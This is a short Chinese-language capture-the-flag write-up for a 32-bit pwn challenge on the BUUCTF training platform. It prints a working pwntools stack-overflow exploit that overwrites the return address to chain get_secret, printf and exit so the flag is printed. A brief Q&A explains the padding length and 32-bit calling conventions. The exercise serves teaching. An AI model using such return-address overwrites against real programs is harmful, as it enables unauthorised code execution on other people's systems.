先查看保护
再查看main函数
可以看到get函数,说明可以进行栈溢出
又看到get_secret函数把flag放入fl4g中,考虑打印出flag
exp如下
from pwn import*
getsecret_addr=0x80489a0
printf_addr=0x804F0A0
flag_addr=0x080ECA2D
exit=0x0804e660
p=remote('node4.buuoj.cn',28453)
payload=b'a'*45+p32(getsecret_addr)+p32(printf_addr)+p32(exit)+p32(flag_addr)
p.sendline(payload)
p.interactive()
问题1:为什么填充45个字符?
答:因为这里没有rbp,在main函数的汇编界面就可以看到程序并没有把rbp推入,所以不用覆盖rbp。
问题2:为什么要在printf之后加上一个exit?
答:printf从缓冲区打印出东西需要满足条件,比如有换行符或缓冲区已满或程序退出,如果不满足条件flag无法被打印出来。
问题3:为什么printf和他的参数flag_addr之间要隔要隔一个exit?
答:这里跟exit没有太大关系,不是exit也行,但printf和flag_addr的隔一个是printf函数在32位的调用规则,也就是通过栈传参,64位与32位不同,64位是前6个参数通过寄存器传参,因此payload的书写也不同,这个需要注意。